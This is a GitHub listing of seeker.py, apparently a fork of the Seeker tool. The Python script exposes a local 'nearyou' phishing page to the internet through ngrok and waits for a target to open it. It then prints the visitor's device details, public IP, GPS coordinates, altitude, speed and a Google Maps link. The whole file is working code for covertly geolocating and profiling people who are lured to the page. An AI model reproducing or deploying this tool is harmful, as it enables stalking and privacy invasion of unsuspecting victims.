forked from thewhiteh4t/seeker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
seeker.py
executable file
·187 lines (165 loc) · 5.36 KB
/
seeker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import time
import json
import requests
import subprocess as subp
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
result = '/var/www/html/nearyou/php/result.txt'
info = '/var/www/html/nearyou/php/info.txt'
api = 'http://localhost:4040/api/tunnels'
site = 'nearyou'
ver = '1.0.1'
try:
raw_input # Python 2
except NameError:
raw_input = input # Python 3
def banner():
os.system('tput reset')
print (C +
r''' __
______ ____ ____ | | __ ____ _______
/ ___/_/ __ \_/ __ \ | |/ /_/ __ \\_ __ \
\___ \ \ ___/\ ___/ | < \ ___/ | | \/
/____ > \___ >\___ >|__|_ \ \___ >|__|
\/ \/ \/ \/ \/ ''' + W)
print ('\n' + G + '[>]' + C + ' Created By : ' + W + 'thewhiteh4t')
print (G + '[>]' + C + ' Version : ' + W + ver + '\n')
def network():
try:
requests.get('http://www.google.com/', timeout = 1)
print (G + '[+]' + C + ' Checking Internet Connection...' + W, end='')
print (G + ' Working' + W + '\n')
except requests.ConnectionError:
print (R + '[!]' + C + ' You are Not Connected to the Internet...Quiting...' + W)
exit()
def version():
print (G + '[+]' + C + ' Checking For Seeker Updates...' + W)
update = requests.get('https://raw.githubusercontent.com/thewhiteh4t/seeker/master/version.txt')
update = update.text.split(' ')[1]
update = update.strip()
if update != ver:
print ('\n' + G + '[!]' + C + ' A New Version is Available : ' + W + update)
ans = raw_input('\n' + G + '[!]' + C + ' Update ? [y/n] : ' + W)
if ans == 'y':
print ('\n' + G + '[+]' + C + ' Updating...' + W + '\n')
subp.check_output(['git', 'pull'])
print ('\n' + G + '[+]' + C + ' Script Updated...Please Execute Again...')
exit()
elif ans == 'n':
pass
else:
print ('\n' + R + '[-]' + C + ' Invalid Character...Skipping...'+ W)
else:
print ('\n' + G + '[+]' + C + ' Script is up-to-date...' + W)
def ngrok():
global api
global site
print ('\n' + G + '[!]' + C + ' Starting Apache Server...' + W)
subp.check_output(['service', 'apache2', 'start'])
print ('\n' + G + '[!]' + C + ' Checking for Ngrok Updates...' + W + '\n')
subp.call(['ngrok', 'update'])
print ('\n' + G + '[+]' + C + ' Starting Ngrok...' + W + '\n')
subp.Popen(['ngrok', 'http', '80'], stdin=subp.PIPE,stderr=subp.PIPE, stdout=subp.PIPE)
time.sleep(10)
r1 = requests.get('{}'.format(api))
page = r1.content
json1 = json.loads(page)
for item in json1['tunnels']:
if item['proto'] == 'https':
print ( G + '[+]' + C + ' URL : ' + W + item['public_url'] + '/' + site + '/')
def wait():
printed = False
while True:
time.sleep(2)
size = os.path.getsize(result)
if size == 0 and printed == False:
print('\n' + G + '[+]' + C + ' Waiting for User Interaction...' + W + '\n')
printed = True
if size > 0:
main()
def main():
global result
try:
with open (info, 'r') as file2:
file2 = file2.read()
json3 = json.loads(file2)
for value in json3['dev']:
print (G + '[+]' + C + ' Device Information : ' + W + '\n')
print (G + '[+]' + C + ' OS : ' + W + value['os'])
print (G + '[+]' + C + ' Platform : ' + W + value['platform'])
try:
print (G + '[+]' + C + ' CPU Cores : ' + W + value['cores'])
except TypeError:
pass
print (G + '[+]' + C + ' RAM : ' + W + value['ram'])
print (G + '[+]' + C + ' GPU Vendor : ' + W + value['vendor'])
print (G + '[+]' + C + ' GPU : ' + W + value['render'])
print (G + '[+]' + C + ' Resolution : ' + W + value['wd'] + 'x' + value['ht'])
print (G + '[+]' + C + ' Browser : ' + W + value['browser'])
print (G + '[+]' + C + ' Public IP : ' + W + value['ip'])
except ValueError:
pass
try:
with open (result, 'r') as file:
file = file.read()
json2 = json.loads(file)
for value in json2['info']:
lat = value['lat']
lon = value['lon']
acc = value['acc']
alt = value['alt']
dir = value['dir']
spd = value['spd']
print ('\n' + G + '[+]' + C + ' Location Information : ' + W + '\n')
print (G + '[+]' + C + ' Latitude : ' + W + lat + C + ' deg')
print (G + '[+]' + C + ' Longitude : ' + W + lon + C + ' deg')
print (G + '[+]' + C + ' Accuracy : ' + W + acc + C + ' m')
if alt == '':
print (R + '[-]' + C + ' Altitude : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Altitude : ' + W + alt + C + ' m')
if dir == '':
print (R + '[-]' + C + ' Direction : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Direction : ' + W + dir + C + ' deg')
if spd == '':
print (R + '[-]' + C + ' Speed : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Speed : ' + W + spd + C + ' m/s')
except ValueError:
error = file
print ('\n' + R + '[-] ' + W + error)
repeat()
def maps():
print ('\n' + G + '[+]' + C + ' Google Maps : ' + W + 'https://www.google.com/maps/place/' + lat + '+' + lon)
repeat()
maps()
def clear():
global result
with open (result, 'w+'): pass
with open (info, 'w+'): pass
def repeat():
clear()
wait()
main()
def quit():
global result
with open (result, 'w+'): pass
os.system('pkill ngrok')
exit()
try:
banner()
network()
version()
ngrok()
wait()
main()
except KeyboardInterrupt:
print ('\n' + R + '[!]' + C + ' Keyboard Interrupt.' + W)
quit()